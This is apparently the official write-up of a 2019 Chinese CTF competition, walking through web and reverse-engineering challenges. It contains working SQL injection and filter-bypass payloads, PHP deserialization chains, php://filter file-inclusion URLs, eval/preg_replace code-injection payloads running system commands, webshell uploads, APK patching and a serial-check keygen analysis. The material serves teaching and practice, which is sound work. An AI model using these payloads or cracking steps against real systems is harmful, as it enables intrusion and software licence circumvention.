2019 第二屆 科成安洵杯 官方WriteUp -17網安

長文預警:對應源碼請加企鵝羣獲取:861677907

0x01 WEB

1.1 勇闖貪喫蛇大冒險

一進去就看出來是一道web頁面JS的小遊戲,提示說輸入CDUESTC CTF即可闖關成功,但是存在着disabled屬性,disabled屬性是禁止前端輸入。 但是可以通過前端將輸入限制刪除: 輸入相應內容即可返回flag: 當然抓包改包也是可以的。

1.2 打地鼠

同樣是一道web頁面JS的小遊戲,右鍵查看源代碼即可尋找到flag:

1.3 大頭兒子

提示中提到了三個需要注意的點:在本地上、使用cduestc2.0瀏覽器、從學校官網訪問 如果有http協議基礎,就可以知道改哪⼏個請求頭了,上面三點分別是X-Forward-For、User-Agent、Referer 使用burp抓包改包即可:

1.4 upload

首先隨便上傳個PHP文件,發現被攔截了 後來嘗試修改content-type字段 成功上傳shell

1.5 缺席的員工

描述沒有明確的提示,進來看看:

加上變量id就行了,我們先讓id=1請求一下 發現能查詢出內容,那麼這應該是一個sql語句查詢數據庫裏面的數據出來,很有可能url就是個sql注入點; 還有這個查詢出來的key{}看起來很像flag,我去提交試了試,不行,本來最開始也說了flag格式爲flag{}。 單引號報錯,說明確實是sql注入,加上註釋符--+ 成功閉合,那麼就可以在裏面構造union select語句了,這裏就可以使用sqlmap跑了,但是我懶得開sqlmap,就用手注吧: order by猜字段,by3報錯,by2正常回顯,那麼這是兩個字段; union select 1,2查看顯示位: 發現回顯並沒有1,2,那麼使id的值等於-1,將佔用的顯示位騰出來: 發現兩個顯示位都可用,那麼接下來直接查當前數據庫下的表名吧:

union select group_concat(table_name),2 from information_schema.tables where table_schema=database()

很明顯,flag應該是在userss裏面,查字段:

union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name="userss"

很明顯,flag字段的內容就是flag值了,趕快爆字段內容:

union select flag,2 from userss

flag就出來了呀。

1.6 書生與蟒蛇

一進去是這個樣子的,從url來看,這裏的LN與FILE參數,有點可以改的樣子,FILE參數拿去解密,base64編碼

嘗試改成index.php,試圖看一下主頁的信息 當參數調整爲LN=1&FILE=aW5kZXgucGhw的時候,顯示如下:證明有戲

寫個python3腳本如下:

import requests

s = requests.session()
url = 'http://127.0.0.1/CTF/python/index.php?'
for i in  range (0,100):
	data = {'LN':str(i),'FILE':'aW5kZXgucGhw'}#要提交的參數
	contents = s.get(url,params=data).content#返回獲取到的內容
	contents = str(contents,encoding="utf-8")#把獲取到的內容以utf8格式顯示
	print(contents)#打印

讀一下整體代碼,發現這裏需要改下cookie的值,發送之後,才能把flag.php讀取出來:

import requests
url = 'http://127.0.0.1/CTF/python/index.php?LN=0&FILE=ZmxhZy5waHA='
ss = requests.session()
cookies = {"Location": "Python"}
contents = ss.get(url, cookies=cookies)
contents = contents   .text
print(contents)

1.7 easy_Magic

給個解題思路: 進去給了個php文件,訪問即可,然後給了我們源代碼,進行審計,發現是一個反序列化題,繞過_wakeup()方法即可,這裏用到_wakeup漏洞; 只要標註屬性數量的個數大於真正的屬性個數即可繞過。 然後就可以執行__destruct()方法,看了看,發現flag值應該藏在$love變量中,利用這個方法將屬性love傳值爲love即可觸發輸出$love變量的值。

構造序列化,一個類可以選擇手工構造,但是這裏類屬性用的是private聲明的,因此構造序列化的時候,屬性名前面應該是“%00Baby%00”,%00代表空白符,但是也佔一個長度,Baby是類名,因此屬性名長度應該變爲:原長度+2+類名長度。 構造反序列化爲:O:4:%22Baby%22:2:{s:10:%22%00Baby%00love%22;s:4:%22love%22;} 如果是利用序列化函數serialize()來輸出對象就不用考慮private。 最後把序列化值傳給GET變量mylove即可獲得flag。

1.8 flag在哪裏

經典的網頁跳轉的題,開啓本地流量記錄,通過burp的網頁歷史或者火狐瀏覽器的網絡歷史都可以找到i_have_a_flag.php

1.9 是碼不是馬

1、用dirsearch.py進行網站目錄搜索: 2、發現可訪問的只有index.php,訪問發現需要查看源碼: 3、那麼我們看看能否看看該網頁php地源碼,這裏給了一點提示,html不會解析php的內容 4、於是我們訪問index.html,看到下圖所示: 根據源碼發現:這裏需要進行兩次url編碼纔可以成功訪問。 故通過url雙層編碼,獲取到flag:

1.10 機器人餅乾

這道題很簡單,描述給了一個機器人提示,那麼我們先訪問: 原來餅乾是這塊曲奇哦,那麼應該是跟cookie有關的,先訪問robots.txt 發現給了個margin=cd6uestc,這不會是cookie的參數和參數值吧,拿去添加cookie試試: 然後保存,回到剛纔的主頁面,刷新

1.11 員工查詢

拿到題目後,沒有任何提示,前端就只有一個數據框和查詢按鈕還有一個小遊戲。

查看一下源碼,發現是使用了Ajax向後端傳數據,其他代碼都是html和css,沒什麼用:

既然前端有輸入框,試做注入一波:

從一開始試,試到3的時候發現就可以查詢到數據了:

輸入簡單的關鍵字的時候發現提示這個東東,

過濾了關鍵字。但不知道具體過濾了那些關鍵字,管他的,先按照常規的sql注入了,先查看看數據庫,先要猜一下後臺sql語句的閉合機制:

猜到這裏的時候,發現顯示就不一樣了哈,但是提示說這個人不見了,是不是有可能後面還做了閉合呢? 那我們把後面的註釋掉,使用我們輸入的括號作爲閉合符號: 喵的還是不行,多試試吶,不要放棄!!其實還是好猜的: 當我們輸入的時候發現顯示正常了。這下閉合方式被我們猜到了。接下來猜一下數據庫:

內聯註釋走一波看看:

可以,沒有做過濾,先猜字段數: 字段數爲3,猜數據庫:

數據庫是web03,查表:

group_concat()一次性顯示: 
由於是Ajax傳值,hackbar就不能用,比較麻煩:但是我們可以使用burpsuite:
構造我們的payload:
2)/**/uNion/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/infOrmation_schema.tables/**/wHere/**/table_schema=database()),3#

發現有個flagtxt的表:那麼flag可能就在裏面: 查他字段:

2)/**/uNion/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/infOrmation_schema.columns/**/wHere/**/table_schema=database()/**/and/**/table_name='flagtxt'),3#

ok,現在最後一步,獲取flag;

0)/**/uNion/**/select/**/1,flag,3/**/from/**/flagtxt#

接下來可以玩一會遊戲了。我是菜雞。。。

1.12 Magic

打開鏈接是這樣一個頁面:

根據提示,用post方法傳參,參數變量爲Baby,沒有說值,那麼隨便賦一個參數值: 可是並沒有什麼東西啊,看看網絡請求 ,或者用bp抓包看看響應。

看到響應頭有個hint提示,是一個txt文件baby1.txt,那麼跟在url後訪問:

發現是index.php的源碼,審計一下,unserialize(),反序列化漏洞,將序列化值傳入POST變量Baby中。這裏執行_wakeup()方法,繞過if判斷即可輸出c的隱藏值,將a賦值爲NloveO即可繞過,這裏a其實可以爲任意值,因爲這裏只是賦值操作,沒進行任何比較。構造一下序列化payload爲: O:4:"Hint":2:{s:1:"a";s:6:"NloveO";s:1:"b";s:6:"mylove";}

成功執行得到兩個php文件,拿去挨個訪問,發現只有baby_Magic.php可以顯示出源碼,看來另外一個要用僞協議使它現出原型了。

<?php
highlight_file('baby_Magic.php');
error_reporting(0);
$Baby= $_GET["Baby"];
echo $Baby;
$love = $_GET["love"];
if(!isset($Baby)){
    echo 'Baby you are so good '.'<br>';
}
if(preg_match("/flag/",$Baby)){
    die('Baby can no not hack me' );
}
if(preg_match("/etc/",$Baby)){
    die('Baby can no not hack me' );
}
$s='etc|root|bin|home|boot|var|usr|tmp|run|opt';
if(preg_match($s,$Baby)){
    die('Baby can no not hack me' );
}
include($Baby);
if(isset($love)){
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) {
            die('Baby do not hit me');
            exit();
        }
    }
    $love = unserialize($love);
}else{
    echo "Baby you can't give me Love";
}
?> Baby you are so good
Baby you can't give me Love

先看看源碼,直接include($Baby),那麼先傳入GET變量Baby進行文件包含漏洞,利用爲協議讀取php文件,當然上面正則已經限制了我們讀flag.php和敏感文件/etc/passwd/,那麼正確的思路應該是讀取先前那個沒有顯示的Gay.php文件。利用如下payload讀取文件Gay.php:

?Baby=php://filter/read=convert.base64-encode/resource=Gay.php

這個僞協議將會把Gay.php代碼按base64編碼顯示出來。

然後將base64全部複製出來,拿去base64解碼,得到Gay.php的源碼:

<?php 
class Mygirl{
    private $mygirl;
    private $goodboy;
    public $goodfriend;
    public $gayyou;
    public $gayme;
    public function __wakeup(){
        foreach(get_object_vars($this) as $b => $v) {
            $this->$b = null;
        }
        echo "Baby you should wakeup\n";
    }
    public function __construct($mygirl,$goodboy,$goodfriend) {
        $this->goodfriend=$goodfriend;
        $this->mygirl = $mygirl;
        $this->goodboy = $goodboy;

            }

    public function __destruct(){
        if($this->goodboy='Nolan'){
            $this->gayme='s1836677006a';
            $this->gayyou=$this->goodfriend;
            if($this->gayyou!=$this->gayme) {
                if (md5($this->gayme) == md5($this->gayyou)) {
                    $this->mygirl->Flagcome();}
                }
            }

    }
    public function clac($md5){
        $this->gayme=$md5;


    }
}

class Gayme{
    public $pleas;
    public $Gay;
    public $me;

    function __construct($pleas){
        $this->pleas = $pleas;
        $this->Gay = $this->me = 'Baby I love you';
    }

    public function Flagcome(){
        $this->Gay = 'But I love my cat Baby';
        if($this->Gay === $this->me)
        {
            if(isset($this->pleas)){
                echo @highlight_file($this->pleas,true);
            }
        }
    }
}
?>

在第一個代碼中存在反序列函數,應該要將第二個代碼序列化執行其中的函數,讀取flag. 審計了一下,發現要md5繞過一下,然後new兩個類,發現md5繞過了之後$mygirl屬性可以指向Gayme類的Flagcome()方法,那麼先new一個Gayme的對象$c,然後將這個對象賦值給$mygirl屬性就可以執行Flagcome()方法了。其中一些字符串比對,讓對應的變量等於規定的字符串即可繞過,md5的話在網上隨便找一個0e的md5對應的字符串即可繞過。 看了一下Flagcome()方法,讓$c->me='But I love my cat Baby'即可繞過第一個if判斷,然後後面利用@highlight_file()直接讀取php文件,裏面是利用$pleas傳參的,那麼new Gayme()時傳入flag.php參數值即可觸發@highlight_file()讀取此php文件。 利用如下腳本構造序列化:

<?php 
class Mygirl{
    private $mygirl;
    private $goodboy;
    public $goodfriend;
    public $gayyou;
    public $gayme;
    public function __wakeup(){
        foreach(get_object_vars($this) as $b => $v) {
            $this->$b = null;
        }
        echo "Baby you should wakeup\n";
    }
    public function __construct($mygirl,$goodboy,$goodfriend) {
        $this->goodfriend=$goodfriend;
        $this->mygirl = $mygirl;
        $this->goodboy = $goodboy;

            }

    public function __destruct(){
        if($this->goodboy='Nolan'){
            $this->gayme='s1836677006a';
            $this->gayyou=$this->goodfriend;
            if($this->gayyou!=$this->gayme) {
                if (md5($this->gayme) == md5($this->gayyou)) {
                    $this->mygirl->Flagcome();}
                }
            }

    }
    public function clac($md5){
        $this->gayme=$md5;


    }
}

class Gayme{
    public $pleas;
    public $Gay;
    public $me;

    function __construct($pleas){
        $this->pleas = $pleas;
        $this->Gay = $this->me = 'Baby I love you';
    }

    public function Flagcome(){
        $this->Gay = 'But I love my cat Baby';
        if($this->Gay === $this->me)
        {
            if(isset($this->pleas)){
                echo @highlight_file($this->pleas,true);
            }
        }
    }
}
$c=new Gayme('flag.php');
$c->me='But I love my cat Baby';
$a=new Mygirl($c,'Nolan','s878926199a');
print_r(serialize($a));

?>

輸出的序列化爲:

O:6:"Mygirl":5:{s:14:"%00Mygirl%00mygirl";O:5:"Gayme":3:{s:5:"pleas";s:8:"flag.php";s:3:"Gay";s:15:"Baby I love you";s:2:"me";s:22:"But I love my cat Baby";}s:15:"%00Mygirl%00goodboy";s:5:"Nolan";s:10:"goodfriend";s:11:"s878926199a";s:6:"gayyou";N;s:5:"gayme";N;}

要繞過__wakeup()方法,將屬性數量改爲大於5即可:

O:6:"Mygirl":6:{s:14:"%00Mygirl%00mygirl";O:5:"Gayme":3:{s:5:"pleas";s:8:"flag.php";s:3:"Gay";s:15:"Baby I love you";s:2:"me";s:22:"But I love my cat Baby";}s:15:"%00Mygirl%00goodboy";s:5:"Nolan";s:10:"goodfriend";s:11:"s878926199a";s:6:"gayyou";N;s:5:"gayme";N;}

然後將url的get變量Baby=Gay.php,將Gay.php的內容包含進來纔可以正常執行,然後love傳入我們構造的序列化字符:

http://119.3.221.93:8888/web2/baby_Magic.php?Baby=Gay.php&love=O:6:"Mygirl":6:{s:14:"%00Mygirl%00mygirl";O:5:"Gayme":3:{s:5:"pleas";s:8:"flag.php";s:3:"Gay";s:15:"Baby I love you";s:2:"me";s:22:"But I love my cat Baby";}s:15:"%00Mygirl%00goodboy";s:5:"Nolan";s:10:"goodfriend";s:11:"s878926199a";s:6:"gayyou";N;s:5:"gayme";N;}

但是沒有輸出flag,再看看主頁面baby_Magic.php的代碼,發現有個url正則匹配,url中不能出現flag字樣,發現是parse_url()函數來獲取url數據內容的。 那麼直接用parse_url()函數漏洞,利用”///“來避開正則匹配,因爲///加在url中,直接讓parse_url()獲取的內容爲false. 那麼我們在根目錄後將”/“換爲”///“:

http://119.3.221.93:8888///web2/baby_Magic.php?Baby=Gay.php&love=O:6:"Mygirl":6:{s:14:"%00Mygirl%00mygirl";O:5:"Gayme":3:{s:5:"pleas";s:8:"flag.php";s:3:"Gay";s:15:"Baby I love you";s:2:"me";s:22:"But I love my cat Baby";}s:15:"%00Mygirl%00goodboy";s:5:"Nolan";s:10:"goodfriend";s:11:"s878926199a";s:6:"gayyou";N;s:5:"gayme";N;}

最終得出flag!

1.13 有內鬼終止交易

剛剛進到網頁,題目標題就有提示“此網頁已被黑 —— BY S.Jin ”,同時在網頁的末尾有一個qq,

搜一下qq: 裏面很明顯有提醒,網站放了網頁木馬,掃描目錄發現shell.php 發現一個很精單的大馬,這裏有兩個辦法登錄進去: (1)弱密碼:S.Jin (2)網頁大馬本身存在的後門密碼:http200ok

進到大馬裏面,同目錄下查看flag.php

1.14 我只想搞錢

代碼很簡單,經典的PHP弱類型比較: 要求9000<=RMB<=9999,RMB的長度=5 在正常的數學上,基本上是無解的。利用極限法或許是有解的(手動滑稽) 但是在PHP裏面,如果比較一個數字和字符串或者比較涉及到數字內容的字符串,則字符串會被轉換成數值並且比較按照數值來進行 構造payload:(只要是大於等於9000的數字加任意一個字母即可)

RMB=9000b

1.15 給寶寶買件衣服吧

進去之後是一個商城:需要購買flag 直接結算後,發現什麼東西都不能買,很窮,一點錢都木得: 嘗試推算一下邏輯:既然一點錢都沒有,那就買點不要錢的東西: 買-1件商品1,-2件商品2,1件商品3,這樣算下來:-100-400+500=0,四捨五入等於不要錢~ 購買成功

1.16 wp

打開鏈接,就用掃描工具掃描一下,發現有個wordpress目錄,跟進去 發現首頁上有小提示,tip:cduestc 猜想應該是後臺的登錄密碼 試了試,果然登錄了後臺,並且發現可以上傳webshell,而且沒有過濾,還給出了路徑

菜刀連接就行了

1.17 蘋果專賣店

代碼邏輯很清楚,調用b這個匿名函數,參數爲iphone11。

在整個過程中,從表面上看,我們能夠控制的只有price的值,但是我們把這個函數b拆開來看就變成了下面這樣:

function b($name){
 echo $name.的價格是.$price;
}

再仔細看一下這個price,我們是不是可以在函數內部改造一下? 構造payload:

price=123;}eval(system(dir));/*

那麼傳入後代碼就會變成下面這樣:

function b($name){
 echo $name.的價格是.123;}eval(system(dir));/*;
}

看下效果圖:

發現flag.php,進而通過php的readfile函數讀取到flag文件內容: price=123;}readfile(".\flag.php");

1.18 AI技術

解題思路:訪問目標url,給了一個robots提示,那麼訪問一下,是一個c4uest3.php文件,訪問沒有輸出提示。 直接掃目錄,發現一個index.php.swp文件,結合提示給出的vi,百度一下就知道,swp文件是由於linux下vi編輯器強制退出所產生的一個損壞文件。 在linux下直接使用vi -r index.php.swp即可修復index.php文件,之後打開index.php文件 正常顯示,審計一下代碼,兩個GET變量,ai和f,先要利用ai繞過if判斷; Ai的值是傳給file_get_contents()函數的,這個函數可以直接使用php僞協議寫入任何字符串傳給$data變量,那麼就可以寫入if判斷裏的那個字符串,讓他們相等,即可繞過判斷,然後執行include()函數,GET變量f將傳給這個函數,直接控制f利用include()的文件包含漏洞即可讀取到任意文件,剛剛robots.txt不是爆出來一個c4urest3.php嗎,直接讀取即可得到flag。 最終payload:

?ai=data:text/plain;base64,SSB3YW50IGEgZmxhZyE=&f=php://filter/read=convert.base64-encode/resource=c4uest3.php

解出來拿去base64解碼就出來了。

1.19 雲平臺後臺管理中心

1、主頁面存在php文件包含漏洞頁面:可通過php僞協議查閱到index.php的文件內容: 2、通過對base64解碼,得到php代碼內容: 3、這裏通過對代碼分析,可以看到用戶可通過GET傳送3個參數,運用到了php的正則表達式,這裏我就直接上payload了,看不懂的請把php的正則表達式好好學一下:

preg_replace ($pattern, $replacement, $subject )

搜索subject中匹配pattern的部分,以replacement進行替換

(1)使用burp修改http請求頭參數,添加x-forwarded-for:127.0.0.1 (2)將url設置爲/index.php?pat=/(.*)/e&rep=system('dir')&sub=aa 可以查看文件列表,如圖所示:同時發現nandwdnwfxq.txt: 4、通過readfile函數查閱到很像flag的文件內容:

0x02 RE

2.1 EZ

查看字符串即可獲得flag

2.2 小遊戲

測試過遊戲通關也不能獲得flag。 找到關鍵字符串 跳到調用位置 記錄地址,運行至此,或運行這個彙編代碼都可以獲得flag。

2.3 我要vip

看了下題目是沒有後綴的,又是逆向類的題目,提示說玩玩兒手機 那麼就可能使安卓逆向的題首先更改文件後綴爲zip。查看壓縮包內容證實了剛剛的想法 那麼把這個文件拖到andriodkiller中去(把後綴名改爲apk)首先要破解apk得到flag那麼就要先運行一下這個文件。可以用模擬器運行也可以用手機下載運行

運行後如下圖: 提示說努力成爲vip總是一個不錯的想法,那麼可以看出這是一個有條件跳轉的地方。那麼我們就要想辦法跳到vip界面。點擊按鈕,如下圖所示: 我們查看androidkiller反編譯好的內容 首先我們得了解apk的組成

MATA—INF文件是存放一些工程屬性文件,例如MANIFEST.MF Res文件夾是資源目錄 AndroidMainfest.xml是安卓工程的基礎配置屬性文件。在android開發中所有功能要在AndroidMainfest中註冊才生效 Smali裏是文件的源碼

首先我們找到res目錄下string.xml有沒有關鍵的字符串 發現並沒有 根據提示,那我們搜索關鍵字vip 因爲要得出flag就要成爲vip

搜索出來後有以下文件含有vip 依次檢索,發現有一個mainactivity.smali文件中含有vip字樣。在android開發中mainactivity類是很重要的,其中的方法有窗體的入口函數以及創建桑乾activity的菜單函數及響應菜單的按鈕事件點擊函數等。 點擊進行查看,發現很多unicode,轉碼看出就是app運行顯示的字符 然後我們將mainactivity.smali轉爲java文件查看我們發現了條件跳轉的地方

然後找到對應的smali代碼修改參數

我們將轉到事件cond_1的條件是if-lez v0;跳轉到事件cond_2的條件是if-gez vo;那麼我們就將這裏的條件修改了讓app直接顯示爲vip界面。 修改完成後保存回編譯apk運行查看是否有flag

運行後果然顯示恭喜你拿到了真正的flag

最終我們獲得flag{czADA_SA_ddad_aijdA}

2.4 不知道什麼算法

脫殼 定位關鍵函數位置,前三位相加等於5後面353, 第一種方法爆破,第二種觸發除0異常。

2.5 一個簡單的cm

通過字符串定位關鍵函數 逆向算法即可

2.6 easy code 事倍功半

拖進OD ESP定律脫殼 重新拖進OD 載入後程序停在401000處。

  00401000 >/$  6A 00         push    0                                ; /pModule = NULL
  00401002  |.  E8 83070000   call    <jmp.&KERNEL32.GetModuleHandleA> ; \GetModuleHandleA
  00401007  |.  A3 80344000   mov     dword ptr [403480], eax
  0040100C  |.  E8 73070000   call    <jmp.&KERNEL32.GetCommandLineA>  ; [GetCommandLineA

在這裏右鍵點擊,選擇查找-》所有參考文本字符串。這時出現了出現了一個新的窗口,在這個窗口中找到提示註冊失敗的文本字串 “sorry please try again”。雙擊“sorry please try again”文本字串,跳到004016e9這個地方。

  004016E0  |. /EB 13         jmp     short 004016F5
  004016E2  |> |6A 00         push    0                                ; /Style = MB_OK|MB_APPLMODAL
  004016E4  |. |68 0A304000   push    0040300A                         ; |Title = "Splish, Splash"
  004016E9  |. |68 67304000   push    00403067                         ; |Text = "Sorry, please try again."
  004016EE  |. |6A 00         push    0                                ; |hOwner = NULL
  004016F0  |. |E8 53000000   call    <jmp.&USER32.MessageBoxA>        ; \MessageBoxA
  004016F5  |> \C9            leave
  004016F6  \.  C2 0800       retn    8

這段代碼是調用MessageBoxA函數創建提示失敗的對話框。在附近找找,在004016c8 jnz short 004016E2不相等就跳轉提示註冊失敗 在004016bc處相等就跳轉到提示註冊成功。看起來這裏是註冊的關鍵地方,我們在004016b6的地方下個斷點標記一下。我接着往上看看 有沒有獲取帳號和註冊碼的地方,果然在004015f1附近兩次調用了GetWindowTextA函數,獲取輸入值,一個是存在00403242的地方,另一存在00403236的地址處,這裏面肯定是輸入的註冊碼和帳號,我們來驗證一下。 在00401614處按F2下斷點,按F9運行,軟件停止輸入框中等待輸入。我們在name上輸入“abcdefg”,在serial上輸入“1234567”單擊check 程序停止斷點00401614處,這時已獲取了輸入值,我們在數據內存區找到00403242和00403236地址。

  00403230  00 00 00 00 00 00 61 62 63 64 65 66 67 00 00 00  ......abcdefg...
  00403240  00 00 31 32 33 34 35 36 37 38 00 00 00 00 00 00  ..12345678......

這時我們看見00403242存的是剛纔輸入的註冊碼serial,00403236存的是帳號name。到這裏我們找到了帳號和註冊碼,我在這裏到提示失敗的地方的彙編註釋先貼出來:

  004015E4  /$  55            push    ebp
  004015E5  |.  8BEC          mov     ebp, esp                         ;  判斷註冊碼的函數
  004015E7  |.  6A 20         push    20                               ; /Count = 20 (32.)
  004015E9  |.  68 42324000   push    00403242                         ; |Buffer = Splish.00403242
  004015EE  |.  FF75 0C       push    dword ptr [ebp+C]                ; |hWnd
  004015F1  |.  E8 34010000   call    <jmp.&USER32.GetWindowTextA>     ; \GetWindowTextA
  004015F6  |.  85C0          test    eax, eax
  004015F8  |.  0F84 95000000 je      00401693                         ;  獲得輸入name,輸入爲零時跳走
  004015FE  |.  A3 67344000   mov     dword ptr [403467], eax          ;  註冊碼長度lens
  00401603  |.  6A 0B         push    0B                               ; /Count = B (11.)
  00401605  |.  68 36324000   push    00403236                         ; |Buffer = Splish.00403236
  0040160A  |.  FF75 08       push    dword ptr [ebp+8]                ; |hWnd
  0040160D  |.  E8 18010000   call    <jmp.&USER32.GetWindowTextA>     ; \GetWindowTextA
  00401612  |.  85C0          test    eax, eax                         ;  獲得輸入serial
  00401614  |.  74 68         je      short 0040167E                   ;  輸入爲零跳走
  00401616  |.  A3 63344000   mov     dword ptr [403463], eax          ;  len取serial的長度
  0040161B  |.  33C9          xor     ecx, ecx
  0040161D  |.  33DB          xor     ebx, ebx                         ;  變量i
  0040161F  |.  33D2          xor     edx, edx
  00401621  |.  8D35 36324000 lea     esi, dword ptr [403236]          ;  字符串name
  00401627  |.  8D3D 58324000 lea     edi, dword ptr [403258]          ;  緩存hname
  0040162D  |.  B9 0A000000   mov     ecx, 0A                          ;  變量n設10
  00401632  |>  0FBE041E      /movsx   eax, byte ptr [esi+ebx]         ;  取name的第一個字符
  00401636  |.  99            |cdq                                     ;  擴成八字節,就是用符號爲給edx賦值
  00401637  |.  F7F9          |idiv    ecx                             ;  edx:eax除於n就是name的第一個字符除於10
  00401639  |.  33D3          |xor     edx, ebx                        ;  餘數edx和ebx異或,存入edx
  0040163B  |.  83C2 02       |add     edx, 2                          ;  edx加2
  0040163E  |.  80FA 0A       |cmp     dl, 0A
  00401641  |.  7C 03         |jl      short 00401646
  00401643  |.  80EA 0A       |sub     dl, 0A
  00401646  |>  88141F        |mov     byte ptr [edi+ebx], dl          ;  將name的ebx個字符處理後放到緩存hname的第ebx個字符
  00401649  |.  43            |inc     ebx
  0040164A  |.  3B1D 63344000 |cmp     ebx, dword ptr [403463]         ;  ebx和serial的長度len比較
  00401650  |.^ 75 E0         \jnz     short 00401632
  00401652  |.  33C9          xor     ecx, ecx
  00401654  |.  33DB          xor     ebx, ebx                         ;  變量i=0
  00401656  |.  33D2          xor     edx, edx
  00401658  |.  8D35 42324000 lea     esi, dword ptr [403242]          ;  註冊碼serial
  0040165E  |.  8D3D 4D324000 lea     edi, dword ptr [40324D]          ;  緩存註冊碼hserial
  00401664  |.  B9 0A000000   mov     ecx, 0A                          ;  變量n等於10
  00401669  |>  0FBE041E      /movsx   eax, byte ptr [esi+ebx]         ;  將註冊碼serial的第i字符取出
  0040166D  |.  99            |cdq                                     ;  擴成八位
  0040166E  |.  F7F9          |idiv    ecx                             ;  第一字符除以n,就是除以10
  00401670  |.  88141F        |mov     byte ptr [edi+ebx], dl          ;  把餘數放到hserial的第i個裏
  00401673  |.  43            |inc     ebx                             ;  i++
  00401674  |.  3B1D 67344000 |cmp     ebx, dword ptr [403467]         ;  i和註冊碼的長度lens比較大小
  0040167A  |.^ 75 ED         \jnz     short 00401669
  0040167C  |.  EB 2A         jmp     short 004016A8                   ;  有
  0040167E  |>  6A 00         push    0                                ; /Style = MB_OK|MB_APPLMODAL
  00401680  |.  68 0A304000   push    0040300A                         ; |Title = "Splish, Splash"
  00401685  |.  68 A0304000   push    004030A0                         ; |Text = "Please enter your name."
  0040168A  |.  6A 00         push    0                                ; |hOwner = NULL
  0040168C  |.  E8 B7000000   call    <jmp.&USER32.MessageBoxA>        ; \MessageBoxA
  00401691  |.  EB 62         jmp     short 004016F5
  00401693  |>  6A 00         push    0                                ; /Style = MB_OK|MB_APPLMODAL
  00401695  |.  68 0A304000   push    0040300A                         ; |Title = "Splish, Splash"
  0040169A  |.  68 B8304000   push    004030B8                         ; |Text = "Please enter your serial number."
  0040169F  |.  6A 00         push    0                                ; |hOwner = NULL
  004016A1  |.  E8 A2000000   call    <jmp.&USER32.MessageBoxA>        ; \MessageBoxA
  004016A6  |.  EB 4D         jmp     short 004016F5
  004016A8  |>  8D35 4D324000 lea     esi, dword ptr [40324D]          ;  註冊碼緩存hserial
  004016AE  |.  8D3D 58324000 lea     edi, dword ptr [403258]          ;  帳號緩存hname
  004016B4  |.  33DB          xor     ebx, ebx                         ;  變量i
  004016B6  |>  3B1D 63344000 /cmp     ebx, dword ptr [403463]         ;  i和註冊碼長度len比較
  004016BC  |.  74 0F         |je      short 004016CD                  ;  相等纔可以提示正確
  004016BE  |.  0FBE041F      |movsx   eax, byte ptr [edi+ebx]         ;  hname[i]
  004016C2  |.  0FBE0C1E      |movsx   ecx, byte ptr [esi+ebx]         ;  hserial[i]
  004016C6  |.  3BC1          |cmp     eax, ecx                        ;  如果hname【i】和hserial【i】相等,i++
  004016C8  |.  75 18         |jnz     short 004016E2                  ;  不相等就註冊失敗
  004016CA  |.  43            |inc     ebx
  004016CB  |.^ EB E9         \jmp     short 004016B6
  004016CD  |>  6A 00         push    0                                ; /Style = MB_OK|MB_APPLMODAL
  004016CF  |.  68 0A304000   push    0040300A                         ; |Title = "Splish, Splash"
  004016D4  |.  68 42304000   push    00403042                         ; |Text = "Good job, now keygen it."
  004016D9  |.  6A 00         push    0                                ; |hOwner = NULL
  004016DB  |.  E8 68000000   call    <jmp.&USER32.MessageBoxA>        ; \MessageBoxA
  004016E0  |.  EB 13         jmp     short 004016F5
  004016E2  |>  6A 00         push    0                                ; /Style = MB_OK|MB_APPLMODAL
  004016E4  |.  68 0A304000   push    0040300A                         ; |Title = "Splish, Splash"
  004016E9  |.  68 67304000   push    00403067                         ; |Text = "Sorry, please try again."
  004016EE  |.  6A 00         push    0                                ; |hOwner = NULL
  004016F0  |.  E8 53000000   call    <jmp.&USER32.MessageBoxA>        ; \MessageBoxA
  004016F5  |>  C9            leave
  004016F6  \.  C2 0800       retn    8

這個註冊機制是f1(name)=f2(serial)的形式,name是帳號,serial是註冊碼,在獲取了輸入後就計算hname=f1(name)的值

  hname存在00403258。計算代碼:
  0040161B  |.  33C9          xor     ecx, ecx
  0040161D  |.  33DB          xor     ebx, ebx                         ;  變量i
  0040161F  |.  33D2          xor     edx, edx
  00401621  |.  8D35 36324000 lea     esi, dword ptr [403236]          ;  字符串name
  00401627  |.  8D3D 58324000 lea     edi, dword ptr [403258]          ;  緩存hname
  0040162D  |.  B9 0A000000   mov     ecx, 0A                          ;  變量n設10
  00401632  |>  0FBE041E      /movsx   eax, byte ptr [esi+ebx]         ;  取name的第i個字符
  00401636  |.  99            |cdq                                     ;  擴成八字節,就是用符號爲給edx賦值
  00401637  |.  F7F9          |idiv    ecx                             ;  edx:eax除於n就是name的第一個字符除於10
  00401639  |.  33D3          |xor     edx, ebx                        ;  餘數edx和ebx異或,存入edx
  0040163B  |.  83C2 02       |add     edx, 2                          ;  edx加2
  0040163E  |.  80FA 0A       |cmp     dl, 0A
  00401641  |.  7C 03         |jl      short 00401646
  00401643  |.  80EA 0A       |sub     dl, 0A
  00401646  |>  88141F        |mov     byte ptr [edi+ebx], dl          ;  將name的ebx個字符處理後放到緩存hname的第ebx個字符
  00401649  |.  43            |inc     ebx
  0040164A  |.  3B1D 63344000 |cmp     ebx, dword ptr [403463]         ;  ebx和serial的長度len比較
  00401650  |.^ 75 E0         \jnz     short 00401632

這裏可以提取出函數f1,將帳號name的每個字符取出,經過除10取餘,和字符位數相異或,再加2的計算處理後存到hname中。我們對應的 c語言的實現:

          lenn=strlen(name);
          for(i=0;i<lenn;i++)
          {
                  tm=name[i];
                  tm%=10;
                  tm^=i;
                  tm+=2;
                 
                  if(tm>=10)
                  {
                          tm-=10;
                  }
                  hname[i]=tm;
          }

往後就是hserial=f2(serial)值的計算,彙編代碼:

  00401652  |.  33C9          xor     ecx, ecx
  00401654  |.  33DB          xor     ebx, ebx                         ;  變量i=0
  00401656  |.  33D2          xor     edx, edx
  00401658  |.  8D35 42324000 lea     esi, dword ptr [403242]          ;  註冊碼serial
  0040165E  |.  8D3D 4D324000 lea     edi, dword ptr [40324D]          ;  緩存註冊碼hserial
  00401664  |.  B9 0A000000   mov     ecx, 0A                          ;  變量n等於10
  00401669  |>  0FBE041E      /movsx   eax, byte ptr [esi+ebx]         ;  將註冊碼serial的第i字符取出
  0040166D  |.  99            |cdq                                     ;  擴成八位
  0040166E  |.  F7F9          |idiv    ecx                             ;  第一字符除以n,就是除以10
